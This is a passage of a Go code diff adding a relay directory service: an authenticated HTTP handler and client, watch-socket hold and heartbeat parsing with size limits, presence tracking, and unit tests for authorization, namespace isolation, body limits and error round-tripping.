f.Subscribe("d", nil); err != ErrTooManyWatchers { + t.Fatalf("second subscribe = %v, want ErrTooManyWatchers", err) + } + first.Close() + if _, err := f.Subscribe("d", nil); err != nil { + t.Fatalf("after a close: %v", err) + } +} + +// fakeNow is a clock a test moves by hand. +type fakeNow struct{ ms int64 } + +func (f *fakeNow) now() time.Time { return time.UnixMilli(f.ms) } + +// A socket vouches from its accept time, a ping moves it on, only the device +// that opened it and only the exact (cell, fence) it named count, and a closed +// socket vouches for nothing. +func TestVouchedUntilIsNewestSignOfLifeOfMatchingSockets(t *testing.T) { + clk := &fakeNow{ms: 1000} + f := NewFeed(clk.now) + if got := f.VouchedUntil("d", "c", 1); got != 0 { + t.Fatalf("no sockets vouched until %d", got) + } + first, _ := f.Subscribe("d", []Hold{{"c", 1}}) + if got, want := f.VouchedUntil("d", "c", 1), 1000+ttlMs; got != want { + t.Fatalf("accept time: vouched until %d, want %d", got, want) + } + clk.ms = 5000 + second, _ := f.Subscribe("d", []Hold{{"c", 1}}) + first.Ping() + clk.ms = 7000 + second.Ping() + if got, want := f.VouchedUntil("d", "c", 1), 7000+ttlMs; got != want { + t.Fatalf("newest of two sockets: %d, want %d", got, want) + } + for name, key := range map[string][3]any{ + "other device": {"e", "c", uint64(1)}, "other cell": {"d", "x", uint64(1)}, "other fence": {"d", "c", uint64(2)}, + } { + if got := f.VouchedUntil(key[0].(string), key[1].(string), key[2].(uint64)); got != 0 { + t.Errorf("%s vouched until %d", name, got) + } + } + second.Close() + if got, want := f.VouchedUntil("d", "c", 1), 5000+ttlMs; got != want { + t.Fatalf("after the newer socket closed: %d, want %d", got, want) + } + first.Close() + if got := f.VouchedUntil("d", "c", 1); got != 0 { + t.Fatalf("after every socket closed: vouched until %d", got) + } +} + +// Evidence is not a change: a lease lifted by a socket and the same lease with +// a later stored expiry look the same, and only held-ness counts. +func TestEvidenceAloneIsNotAVisibleChange(t *testing.T) { + clk := &fakeNow{ms: 1000} + f := NewFeed(clk.now) + s, _ := f.Subscribe("d", []Hold{{"c", 1}}) + stored := Cell{Lease: Lease{Device: "d", Fence: 1, Expires: 1000 + ttlMs}} + clk.ms = 50_000 + s.Ping() + clk.ms = 1000 + ttlMs + 10 // past the stored expiry, inside the socket's vouch + later := stored + later.Lease.Expires = clk.ms + ttlMs + if f.differs("c", stored, later, clk.ms) { + t.Fatal("moving the stored expiry of a vouched lease counted as a change") + } + if !f.differs("other", stored, later, clk.ms) { + t.Fatal("a lease past its stored expiry that a renewal makes held must count when nothing vouches as a change") + } +} diff --git a/internal/directory/global_limits_test.go b/internal/directory/global_limits_test.go new file mode 100644 index 0000000000..82479e75b0 --- /dev/null +++ b/internal/directory/global_limits_test.go @@ -0,0 +1,43 @@ +package directory_test + +import ( + "context" + "errors" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// TestHostedGlobalBrakesReachTheDirectoryClient proves C20: a first request +// receives the operator's storage refusal or admission wait through the wire. +func TestHostedGlobalBrakesReachTheDirectoryClient(t *testing.T) { + for _, tc := range []struct { + code string + status int + want error + wait time.Duration + }{ + {"relay_storage_full", 507, directory.ErrFull, 0}, + {"relay_admission_full", 429, wireauth.ErrRateLimited, 42 * time.Second}, + } { + t.Run(tc.code, func(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + if tc.wait > 0 { + w.Header().Set("Retry-After", "42") + } + w.WriteHeader(tc.status) + _, _ = w.Write([]byte(`{"err":"` + tc.code + `"}`)) + })) + defer srv.Close() + client := directory.NewHTTP(srv.URL, fakeSign("alice", devA), srv.Client()) + _, err := client.List(context.Background()) + if !errors.Is(err, tc.want) || wireauth.After(err) != tc.wait { + t.Fatalf("List = %v after %v", err, wireauth.After(err)) + } + }) + } +} diff --git a/internal/directory/handler.go b/internal/directory/handler.go new file mode 100644 index 0000000000..415f0a468b --- /dev/null +++ b/internal/directory/handler.go @@ -0,0 +1,208 @@ +package directory + +import ( + "context" + "encoding/json" + "errors" + "io" + "net/http" + "strconv" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// MaxBody caps a request body. The largest honest body is a CellInit with its +// key map, far below this; the cap keeps an anonymous caller from making the +// relay buffer more, since the body must be read whole before it can be verified. +const MaxBody = 1 << 20 + +// call is everything one route needs: the Client of the verified device and +// the request it answers. Routes never see an identity or a device to trust. +type call struct { + dir Directory + cl Client + device string + r *http.Request + body []byte +} + +func (c call) ctx() context.Context { return c.r.Context() } +func (c call) id() string { return c.r.PathValue("id") } +func (c call) code() string { return c.r.PathValue("code") } + +// route answers one call. A nil result is an empty 204. +type route func(call) (any, error) + +// Handler serves the directory wire. Each request is authenticated first, and +// then answered by open(identity).For(device), both taken from auth, so a body +// can never name the acting device or reach another identity's records. +func Handler(auth wireauth.Authenticate, open func(identity string) (Directory, error)) http.Handler { + h := &handler{auth: auth, open: open} + mux := http.NewServeMux() + for pattern, rt := range routes { + mux.HandleFunc(pattern, h.serve(rt)) + } + mux.HandleFunc("GET "+WatchPath, h.watch) + return mux +} + +type handler struct { + auth wireauth.Authenticate + open func(string) (Directory, error) +} + +func (h *handler) serve(rt route) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + c, err := h.admit(w, r) + if err != nil { + refuse(w, err) + return + } + out, err := rt(c) + if err != nil { + refuse(w, err) + return + } + w.Header().Set(ConditionalTakeHeader, "1") + reply(w, out) + } +} + +// admit reads the bounded body, authenticates it and opens the caller's Client. +func (h *handler) admit(w http.ResponseWriter, r *http.Request) (call, error) { + body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, MaxBody)) + if err != nil { + return call{}, errTooLarge + } + identity, device, err := h.auth(r, body) + if err != nil { + return call{}, denial(err) + } + dir, err := h.open(identity) + if err != nil { + return call{}, err + } + return call{dir: dir, cl: dir.For(device), device: device, r: r, body: body}, nil +} + +// denial names a refusal the way the wire does: skew and revoked have their +// own codes because a person can act on them, every other one is unauthorized. +func denial(err error) error { + if err = wireauth.Narrow(err); errors.Is(err, wireauth.ErrUnauthorized) { + return ErrUnauthorized + } + return err +} + +func refuse(w http.ResponseWriter, err error) { + we := classify(err) + if after := wireauth.After(err); after > 0 { + w.Header().Set("Retry-After", strconv.Itoa(int((after+time.Second-1)/time.Second))) + } + send(w, we.status, errBody{Err: we.code}) +} + +// headed is an answer that also sets headers, as a list sets its version. +type headed interface{ header(http.Header) } + +func (l Listing) header(h http.Header) { + h.Set(VersionHeader, strconv.FormatUint(l.Version, 10)) +} + +func reply(w http.ResponseWriter, out any) { + if h, ok := out.(headed); ok { + h.header(w.Header()) + } + if out == nil { + w.WriteHeader(http.StatusNoContent) + return + } + send(w, http.StatusOK, out) +} + +func send(w http.ResponseWriter, status int, v any) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _ = json.NewEncoder(w).Encode(v) +} + +// routes is the §4.4 table, one entry per method and path. +var routes = map[string]route{ + "GET " + dirBase + "/list": func(c call) (any, error) { return pair(c.cl.List(c.ctx())) }, + "GET " + dirBase + "/presence": func(c call) (any, error) { return pair(c.cl.Presence(c.ctx())) }, + "GET " + dirBase + "/cells/{id}": func(c call) (any, error) { return pair(c.cl.Cell(c.ctx(), c.id())) }, + "PUT " + dirBase + "/devices/{id}": withBody(putDevice), + "POST " + dirBase + "/devices/{id}/revoke": func(c call) (any, error) { return nothing(c.cl.Revoke(c.ctx(), c.id())) }, + "POST " + dirBase + "/vault": withBody(setVault), + "POST " + dirBase + "/cells/{id}": withBody(create), + "POST " + dirBase + "/cells/{id}/acquire": optionalBody(acquire), + "POST " + dirBase + "/cells/{id}/heartbeat": withBody(heartbeat), + "POST " + dirBase + "/cells/{id}/publish": withBody(publish), + "POST " + dirBase + "/cells/{id}/release": withBody(release), + "POST " + dirBase + "/cells/{id}/archive": func(c call) (any, error) { return nothing(c.cl.Archive(c.ctx(), c.id())) }, + "POST " + dirBase + "/requests/{code}/approve": withBody(approveRequest), + "POST " + dirBase + "/requests/{code}/deny": func(c call) (any, error) { return nothing(c.cl.DenyRequest(c.ctx(), c.code())) }, + "GET " + rotationPath: func(c call) (any, error) { return pair(c.cl.Rotation(c.ctx())) }, + "POST " + rotationPath: withBody(rotate), +} + +// pair and nothing adapt a Client's return shapes to a route's. +func pair[T any](v T, err error) (any, error) { return v, err } +func nothing(err error) (any, error) { return nil, err } + +// withBody decodes the request body as T before running f. +func withBody[T any](f func(call, T) (any, error)) route { + return func(c call) (any, error) { + var v T + if err := json.Unmarshal(c.body, &v); err != nil { + return nil, errBadRequest + } + return f(c, v) + } +} + +// optionalBody is withBody for a request whose body may be absent, which then +// decodes as the zero T, so a client that sends none still gets its old meaning. +func optionalBody[T any](f func(call, T) (any, error)) route { + return func(c call) (any, error) { + if len(c.body) == 0 { + var zero T + return f(c, zero) + } + return withBody(f)(c) + } +} + +// putDevice refuses a record for any device but the signer's: a device may +// only ever write its own record. +func putDevice(c call, d Device) (any, error) { + if c.id() != c.device { + return nil, ErrUnauthorized + } + return nothing(c.cl.PutDevice(c.ctx(), c.id(), d)) +} + +// vaultSwap is the body of the vault compare-and-swap. +type vaultSwap struct { + Old string `json:"old"` + New string `json:"new"` +} + +// fenceBody is the body of a release. +type fenceBody struct { + Fence uint64 `json:"fence"` +} + +func approveRequest(c call, a Approval) (any, error) { + return nothing(c.cl.ApproveRequest(c.ctx(), c.code(), a)) +} +func rotate(c call, req RotationReq) (any, error) { return pair(c.cl.Rotate(c.ctx(), req)) } +func setVault(c call, s vaultSwap) (any, error) { return nothing(c.cl.SetVault(c.ctx(), s.Old, s.New)) } +func create(c call, in CellInit) (any, error) { return pair(c.cl.Create(c.ctx(), c.id(), in)) } +func acquire(c call, o AcquireOpts) (any, error) { return pair(c.cl.Acquire(c.ctx(), c.id(), o)) } +func heartbeat(c call, b Beat) (any, error) { return pair(c.cl.Heartbeat(c.ctx(), c.id(), b)) } +func publish(c call, p Publish) (any, error) { return pair(c.cl.Publish(c.ctx(), c.id(), p)) } +func release(c call, f fenceBody) (any, error) { + return nothing(c.cl.Release(c.ctx(), c.id(), f.Fence)) +} diff --git a/internal/directory/hold.go b/internal/directory/hold.go new file mode 100644 index 0000000000..40280a9d4d --- /dev/null +++ b/internal/directory/hold.go @@ -0,0 +1,150 @@ +package directory + +import ( + "net/url" + "strconv" + "strings" + "time" +) + +// The presence declaration of a watch socket (contract 21.12.3). A client says +// at what period it promises to ping, in whole seconds from 1 to MaxBeat, and the +// relay counts it online for WindowFactor beats after its last sign of life. A +// socket that declares nothing is a client from before presence, which pings at +// DefaultBeat. The hosted relay reads the same numbers as maxBeat, windowFactor +// and defaultBeat in limits.js. +const ( + MaxBeat = 60 + WindowFactor = 2.5 + DefaultBeat = 30 * time.Second +) + +// Window is how long a socket that promised to ping every beat stays live after +// its last sign of life: enough for one lost ping and a late second one. +func Window(beat time.Duration) time.Duration { + return time.Duration(float64(beat) * WindowFactor) +} + +// ParseBeat reads the beat parameters of a watch URL: DefaultBeat when there are +// none, otherwise the one value named, which must be a plain decimal from 1 to +// MaxBeat. The same value twice is one value; two different values are malformed. +func ParseBeat(values []string) (time.Duration, error) { + beat := DefaultBeat + for i, v := range values { + n, ok := parseBeat(v) + if !ok || (i > 0 && n != beat) { + return 0, errBadRequest + } + beat = n + } + return beat, nil +} + +func parseBeat(v string) (time.Duration, bool) { + n, err := strconv.Atoi(v) + if err != nil || !plainDecimal(v) || n < 1 || n > MaxBeat { + return 0, false + } + return time.Duration(n) * time.Second, true +} + +// MaxHolds is how many holds one watch socket may name. A process that holds +// more cells than this names the first MaxHolds and keeps beating for the rest. +// The hosted relay reads the same number as maxHolds in limits.js. +const MaxHolds = 16 + +// MaxHoldCellBytes is the longest cell id a hold may name, and maxHoldFence the +// largest fence: 2^53-1, the most a JavaScript number keeps exactly, so both +// relays read the same hold the same way. +const ( + MaxHoldCellBytes = 64 + maxHoldFence = 1<<53 - 1 +) + +// Hold is one lease a watch socket names in its URL: the cell and the fence of +// the lease its holder believes it has. The relay counts the socket as proof of +// life for that lease only while the fence is still the lease's current one. +type Hold struct { + Cell string + Fence uint64 +} + +// HoldQuery is the query string (without the leading "?") that names holds, in +// the order given; it is empty when there are none. +func HoldQuery(holds []Hold) string { + q := make([]string, len(holds)) + for i, h := range holds { + q[i] = "hold=" + url.QueryEscape(h.Cell+":"+strconv.FormatUint(h.Fence, 10)) + } + return strings.Join(q, "&") +} + +// ParseHolds reads the repeated hold parameters of a watch URL. The last colon +// splits a value, so a cell id may itself contain colons. A value without a +// colon, with an empty id or with a fence that is not an unsigned decimal, or +// more than MaxHolds values, is malformed, and so is an id longer than +// MaxHoldCellBytes or a fence of more than 16 digits or above 2^53-1. The same +// hold named twice counts once; two fences for one cell are two holds. +func ParseHolds(values []string) ([]Hold, error) { + if len(values) > MaxHolds { + return nil, errBadRequest + } + holds := make([]Hold, 0, len(values)) + seen := map[Hold]bool{} + for _, v := range values { + h, ok := parseHold(v) + if !ok { + return nil, errBadRequest + } + if !seen[h] { + seen[h] = true + holds = append(holds, h) + } + } + return holds, nil +} + +func parseHold(v string) (Hold, bool) { + i := strings.LastIndexByte(v, ':') + if i <= 0 || i > MaxHoldCellBytes { + return Hold{}, false + } + digits := v[i+1:] + if !plainDecimal(digits) { + return Hold{}, false + } + n, err := strconv.ParseUint(digits, 10, 64) + if err != nil || n > maxHoldFence { + return Hold{}, false + } + return Hold{Cell: v[:i], Fence: n}, true +} + +// plainDecimal is s matching ^[0-9]{1,16}$: no sign, no space, no leading junk. +func plainDecimal(s string) bool { + if len(s) == 0 || len(s) > 16 { + return false + } + for _, r := range s { + if r < '0' || r > '9' { + return false + } + } + return true +} + +// EventsQuery is the watch query parameter that opts a socket in to event +// frames (presence, joined, revoked). A socket without it hears versions only. +const EventsQuery = "events=1" + +// watchQuery is the query of a watch URL: the holds, then the events flag. +func watchQuery(holds []Hold, events bool) string { + q := HoldQuery(holds) + switch { + case !events: + return q + case q == "": + return EventsQuery + } + return q + "&" + EventsQuery +} diff --git a/internal/directory/hold_test.go b/internal/directory/hold_test.go new file mode 100644 index 0000000000..23ddf34391 --- /dev/null +++ b/internal/directory/hold_test.go @@ -0,0 +1,49 @@ +package directory + +import ( + "net/url" + "reflect" + "strings" + "testing" +) + +func TestHoldQueryRoundTripsThroughParse(t *testing.T) { + in := []Hold{{"a:b", 3}, {"c", 0}, {strings.Repeat("x", MaxHoldCellBytes), maxHoldFence}} + q, err := url.ParseQuery(HoldQuery(in)) + if err != nil { + t.Fatal(err) + } + got, err := ParseHolds(q["hold"]) + if err != nil || !reflect.DeepEqual(got, in) { + t.Fatalf("ParseHolds = %v, %v; want %v", got, err, in) + } + if HoldQuery(nil) != "" { + t.Fatal("no holds must give an empty query") + } +} + +func TestParseHoldsRefusesWhatTheContractRefuses(t *testing.T) { + for _, v := range []string{ + "nocolon", ":5", "c:", "c:-1", "c:+1", "c: 1", "c:1x", "c:9007199254740992", + "c:12345678901234567", strings.Repeat("c", MaxHoldCellBytes+1) + ":1", "", + } { + if _, err := ParseHolds([]string{v}); err != errBadRequest { + t.Errorf("hold %q: err %v, want bad request", v, err) + } + } + many := make([]string, MaxHolds+1) + for i := range many { + many[i] = "c:1" + } + if _, err := ParseHolds(many); err != errBadRequest { + t.Errorf("%d holds: err %v, want bad request", len(many), err) + } +} + +func TestParseHoldsCountsARepeatedHoldOnce(t *testing.T) { + got, err := ParseHolds([]string{"c:1", "c:2", "c:1"}) + want := []Hold{{"c", 1}, {"c", 2}} + if err != nil || !reflect.DeepEqual(got, want) { + t.Fatalf("ParseHolds = %v, %v; want %v", got, err, want) + } +} diff --git a/internal/directory/http.go b/internal/directory/http.go new file mode 100644 index 0000000000..1b8b5f3f81 --- /dev/null +++ b/internal/directory/http.go @@ -0,0 +1,202 @@ +package directory + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "strconv" + "strings" + "sync" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// HTTP is a Client that speaks the directory wire. Which device it acts as is +// decided by the Sign func it was built with, never by anything it sends. +type HTTP struct { + base string + sign wireauth.Sign + hc *http.Client +} + +// NewHTTP returns the Client for the device that sign stamps requests as. +func NewHTTP(base string, sign wireauth.Sign, hc *http.Client) *HTTP { + return &HTTP{base: base, sign: sign, hc: hc} +} + +var _ Client = (*HTTP)(nil) + +func cellPath(id, verb string) string { + p := dirBase + "/cells/" + url.PathEscape(id) + if verb != "" { + p += "/" + verb + } + return p +} + +// List reads the directory. The listing carries the version the relay read it +// at (0 when the relay does not say), which a feed compares with the versions +// it is told of. +func (h *HTTP) List(ctx context.Context) (l Listing, err error) { + hdr, err := h.doHeader(ctx, http.MethodGet, dirBase+"/list", nil, &l) + if err == nil { + l.Version, _ = strconv.ParseUint(hdr.Get(VersionHeader), 10, 64) + } + return l, err +} + +func (h *HTTP) Cell(ctx context.Context, id string) (v CellView, err error) { + hdr, err := h.doHeader(ctx, http.MethodGet, cellPath(id, ""), nil, &v) + if err == nil { + conditionalServices.LoadOrStore(h.serviceKey(), hdr.Get(ConditionalTakeHeader) == "1") + } + return v, err +} + +func (h *HTTP) PutDevice(ctx context.Context, id string, d Device) error { + return h.do(ctx, http.MethodPut, dirBase+"/devices/"+url.PathEscape(id), d, nil) +} + +func (h *HTTP) Revoke(ctx context.Context, id string) error { + return h.do(ctx, http.MethodPost, dirBase+"/devices/"+url.PathEscape(id)+"/revoke", nil, nil) +} + +func (h *HTTP) SetVault(ctx context.Context, old, next string) error { + return h.do(ctx, http.MethodPost, dirBase+"/vault", vaultSwap{Old: old, New: next}, nil) +} + +func (h *HTTP) Create(ctx context.Context, id string, in CellInit) (v CellView, err error) { + return v, h.do(ctx, http.MethodPost, cellPath(id, ""), in, &v) +} + +func (h *HTTP) Acquire(ctx context.Context, id string, o AcquireOpts) (v CellView, err error) { + if o.Force || o.RequireConditional { + if err := h.requireConditionalTake(ctx, id); err != nil { + return v, err + } + } + return v, h.do(ctx, http.MethodPost, cellPath(id, "acquire"), o, &v) +} + +// ConditionalTakeHeader is the service's promise that a take compares the +// expected holder and fence atomically. Older services omit it. +const ConditionalTakeHeader = "codeaf-conditional-takes" + +// conditionalServices caches the promise per service for this process, across +// device clients. Failed reads are never cached as capability answers. +var conditionalServices sync.Map + +func (h *HTTP) serviceKey() string { return strings.TrimRight(h.base, "/") } + +func (h *HTTP) requireConditionalTake(ctx context.Context, id string) error { + answer, known := conditionalServices.Load(h.serviceKey()) + if !known { + if _, err := h.Cell(ctx, id); err != nil { + return err + } + answer, _ = conditionalServices.Load(h.serviceKey()) + } + if answer != true { + return ErrConditionalTake + } + return nil +} + +func (h *HTTP) Heartbeat(ctx context.Context, id string, b Beat) (v CellView, err error) { + return v, h.do(ctx, http.MethodPost, cellPath(id, "heartbeat"), b, &v) +} + +func (h *HTTP) Publish(ctx context.Context, id string, p Publish) (v CellView, err error) { + return v, h.do(ctx, http.MethodPost, cellPath(id, "publish"), p, &v) +} + +func (h *HTTP) Release(ctx context.Context, id string, fence uint64) error { + return h.do(ctx, http.MethodPost, cellPath(id, "release"), fenceBody{Fence: fence}, nil) +} + +func (h *HTTP) Archive(ctx context.Context, id string) error { + return h.do(ctx, http.MethodPost, cellPath(id, "archive"), nil, nil) +} + +func (h *HTTP) ApproveRequest(ctx context.Context, code string, a Approval) error { + return h.do(ctx, http.MethodPost, requestPath(code, "approve"), a, nil) +} + +func (h *HTTP) DenyRequest(ctx context.Context, code string) error { + return h.do(ctx, http.MethodPost, requestPath(code, "deny"), nil, nil) +} + +func requestPath(code, verb string) string { + return dirBase + "/requests/" + url.PathEscape(code) + "/" + verb +} + +func (h *HTTP) Rotate(ctx context.Context, req RotationReq) (v RotationView, err error) { + return v, h.do(ctx, http.MethodPost, rotationPath, req, &v) +} + +func (h *HTTP) Rotation(ctx context.Context) (v RotationView, err error) { + return v, h.do(ctx, http.MethodGet, rotationPath, nil, &v) +} + +// do sends one signed request and decodes the answer into out (when non-nil). +func (h *HTTP) do(ctx context.Context, method, path string, in, out any) error { + _, err := h.doHeader(ctx, method, path, in, out) + return err +} + +// doHeader is do that also hands back the response headers, for the reads +// that carry a fact in a header as well as in the body. +func (h *HTTP) doHeader(ctx context.Context, method, path string, in, out any) (http.Header, error) { + body, err := encode(in) + if err != nil { + return nil, err + } + req, err := http.NewRequestWithContext(ctx, method, wireauth.Endpoint(h.base, path), bytes.NewReader(body)) + if err != nil { + return nil, err + } + h.sign(req, body) + resp, err := h.hc.Do(req) + if err != nil { + return nil, fmt.Errorf("%w: %v", ErrUnreachable, err) + } + defer resp.Body.Close() + if resp.StatusCode >= 300 { + return resp.Header, refusal(resp) + } + if out == nil { + return resp.Header, nil + } + if resp.StatusCode == http.StatusNoContent { + return resp.Header, ErrStillPending // a long poll that ended with nothing new + } + return resp.Header, json.NewDecoder(resp.Body).Decode(out) +} + +// encode marshals a body; a request without one sends no bytes, so the signed +// body is exactly what the server reads. +func encode(in any) ([]byte, error) { + if in == nil { + return nil, nil + } + return json.Marshal(in) +} + +// refusal turns an error response back into the sentinel its code names. +func refusal(resp *http.Response) error { + var b errBody + raw, _ := io.ReadAll(io.LimitReader(resp.Body, MaxBody)) + if json.Unmarshal(raw, &b) == nil { + if err := errorOf(b.Err, resp.StatusCode); err != nil { + return wireauth.Wait(err, resp.Header) + } + } + if resp.StatusCode == http.StatusNotFound { + return ErrTooOld + } + return fmt.Errorf("directory: %s", resp.Status) +} diff --git a/internal/directory/http_test.go b/internal/directory/http_test.go new file mode 100644 index 0000000000..8addd3a909 --- /dev/null +++ b/internal/directory/http_test.go @@ -0,0 +1,283 @@ +package directory_test + +import ( + "bytes" + "context" + "errors" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +const ( + devA = "dev_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + devB = "dev_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + cellX = "01J0000000000000000000000A" + head1 = "1111111111111111111111111111111111111111111111111111111111111111" + head2 = "2222222222222222222222222222222222222222222222222222222222222222" +) + +// The fake pair stands in for the signing package: sign names the sender in +// two headers and authenticate reads them back. +func fakeSign(identity, device string) wireauth.Sign { + return func(r *http.Request, _ []byte) { + r.Header.Set("X-Test-Identity", identity) + r.Header.Set("X-Test-Device", device) + } +} + +func fakeAuth(r *http.Request, _ []byte) (string, string, error) { + id, dev := r.Header.Get("X-Test-Identity"), r.Header.Get("X-Test-Device") + if id == "" || dev == "" { + return "", "", wireauth.ErrUnauthorized + } + return id, dev, nil +} + +// namespaces opens one Memory per identity, as the relay opens one per namespace. +type namespaces struct { + mu sync.Mutex + clock *directorytest.FakeClock + dirs map[string]*directory.Memory + links directory.Decider +} + +func newNamespaces(clock *directorytest.FakeClock) *namespaces { + return &namespaces{clock: clock, dirs: map[string]*directory.Memory{}} +} + +func (n *namespaces) open(identity string) (directory.Directory, error) { + n.mu.Lock() + defer n.mu.Unlock() + if n.dirs[identity] == nil { + n.dirs[identity] = directory.NewMemory(n.clock.Now) + n.dirs[identity].SetLinks(n.links) + } + return n.dirs[identity], nil +} + +type rig struct { + srv *httptest.Server + clock *directorytest.FakeClock +} + +func newRig(t *testing.T, clock *directorytest.FakeClock, auth wireauth.Authenticate) rig { + t.Helper() + srv := httptest.NewServer(directory.Handler(auth, newNamespaces(clock).open)) + t.Cleanup(srv.Close) + return rig{srv: srv, clock: clock} +} + +func (g rig) as(identity, device string) directory.Client { + return directory.NewHTTP(g.srv.URL, fakeSign(identity, device), g.srv.Client()) +} + +func TestHTTPConformance(t *testing.T) { + directorytest.Run(t, func(t *testing.T, clock *directorytest.FakeClock) directorytest.Devices { + g := newRig(t, clock, fakeAuth) + return func(device string) directory.Client { return g.as("id_one", device) } + }) +} + +func TestHandlerTakesDeviceFromSignature(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + ctx := context.Background() + a, b := g.as("id_one", devA), g.as("id_one", devB) + if _, err := a.Create(ctx, cellX, directory.CellInit{Head: head1, Class: "chat"}); err != nil { + t.Fatal(err) + } + + // B holds A's fence and even smuggles a device into the body, yet acts as B. + _, err := b.Heartbeat(ctx, cellX, directory.Beat{Fence: 1}) + if !errors.Is(err, directory.ErrFenceStale) { + t.Fatalf("B heartbeat with A's fence = %v", err) + } + req, _ := http.NewRequest("POST", g.srv.URL+"/v1/dir/cells/"+cellX+"/heartbeat", + strings.NewReader(`{"fence":1,"device":"`+devA+`"}`)) + fakeSign("id_one", devB)(req, nil) + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if resp.StatusCode != http.StatusConflict { + t.Fatalf("smuggled device: status %d", resp.StatusCode) + } +} + +func TestHandlerRefusesAnotherDevicesRecord(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + ctx := context.Background() + a, b := g.as("id_one", devA), g.as("id_one", devB) + + err := a.PutDevice(ctx, devB, directory.Device{V: 1, Name: "forged"}) + if !errors.Is(err, directory.ErrUnauthorized) { + t.Fatalf("A writing B's record = %v, want ErrUnauthorized", err) + } + l, err := b.List(ctx) + if err != nil || len(l.Devices) != 0 { + t.Fatalf("list = %+v, %v; nothing may have been written", l, err) + } +} + +func TestHTTPNamespacesAreIsolated(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + ctx := context.Background() + x, y := g.as("id_x", devA), g.as("id_y", devA) + if _, err := x.Create(ctx, cellX, directory.CellInit{Head: head1, Class: "chat"}); err != nil { + t.Fatal(err) + } + if _, err := y.Cell(ctx, cellX); !errors.Is(err, directory.ErrNotFound) { + t.Fatalf("other identity sees the cell: %v", err) + } + if _, err := y.Create(ctx, cellX, directory.CellInit{Head: head2, Class: "chat"}); err != nil { + t.Fatalf("same id in another namespace: %v", err) + } + l, _ := x.List(ctx) + if l.Cells[cellX].Head != head1 { + t.Fatalf("x's cell changed: %+v", l.Cells[cellX]) + } +} + +// failing is a Directory whose every write returns err. +type failing struct{ err error } + +func (f failing) For(string) directory.Client { return failClient{err: f.err} } + +type failClient struct { + directory.Client + err error +} + +func (f failClient) Acquire(context.Context, string, directory.AcquireOpts) (directory.CellView, error) { + return directory.CellView{}, f.err +} + +func TestHTTPErrorsRoundTrip(t *testing.T) { + for _, want := range []error{ + directory.ErrNotFound, directory.ErrExists, directory.ErrLeaseHeld, + directory.ErrFenceStale, directory.ErrHeadMoved, directory.ErrCAS, + directory.ErrUnauthorized, directory.ErrRevoked, + } { + t.Run(want.Error(), func(t *testing.T) { + srv := httptest.NewServer(directory.Handler(fakeAuth, func(string) (directory.Directory, error) { + return failing{want}, nil + })) + defer srv.Close() + c := directory.NewHTTP(srv.URL, fakeSign("id_one", devA), srv.Client()) + if _, err := c.Acquire(context.Background(), cellX, directory.AcquireOpts{}); !errors.Is(err, want) { + t.Fatalf("got %v, want %v", err, want) + } + }) + } +} + +func TestHandlerUnknownErrorIsServerFault(t *testing.T) { + srv := httptest.NewServer(directory.Handler(fakeAuth, func(string) (directory.Directory, error) { + return failing{errors.New("disk on fire")}, nil + })) + defer srv.Close() + c := directory.NewHTTP(srv.URL, fakeSign("id_one", devA), srv.Client()) + _, err := c.Acquire(context.Background(), cellX, directory.AcquireOpts{}) + if err == nil || !strings.Contains(err.Error(), "500") { + t.Fatalf("err = %v, want a 500", err) + } +} + +func TestHTTPClientSurfacesSkew(t *testing.T) { + skewed := func(*http.Request, []byte) (string, string, error) { return "", "", wireauth.ErrSkew } + g := newRig(t, directorytest.NewFakeClock(), skewed) + _, err := g.as("id_one", devA).List(context.Background()) + if !errors.Is(err, wireauth.ErrSkew) { + t.Fatalf("err = %v, want wireauth.ErrSkew", err) + } +} + +func TestHTTPRefusalWithoutProofIsUnauthorized(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + c := directory.NewHTTP(g.srv.URL, func(*http.Request, []byte) {}, g.srv.Client()) + if _, err := c.List(context.Background()); !errors.Is(err, directory.ErrUnauthorized) { + t.Fatalf("err = %v, want ErrUnauthorized", err) + } +} + +func TestHTTPTransportFailureIsUnreachable(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + c := g.as("id_one", devA) + g.srv.Close() + if _, err := c.List(context.Background()); !errors.Is(err, directory.ErrUnreachable) { + t.Fatalf("err = %v, want ErrUnreachable", err) + } +} + +func TestHandlerLimitsBody(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + big := bytes.Repeat([]byte("a"), directory.MaxBody+1) + req, _ := http.NewRequest("POST", g.srv.URL+"/v1/dir/cells/"+cellX, bytes.NewReader(big)) + fakeSign("id_one", devA)(req, big) + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if resp.StatusCode != http.StatusRequestEntityTooLarge { + t.Fatalf("status = %d, want 413", resp.StatusCode) + } + if _, err := g.as("id_one", devA).Cell(context.Background(), cellX); !errors.Is(err, directory.ErrNotFound) { + t.Fatalf("an oversized create must leave no cell: %v", err) + } +} + +func TestHandlerRejectsMalformedBody(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + req, _ := http.NewRequest("POST", g.srv.URL+"/v1/dir/cells/"+cellX, strings.NewReader("{nope")) + fakeSign("id_one", devA)(req, nil) + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if resp.StatusCode != 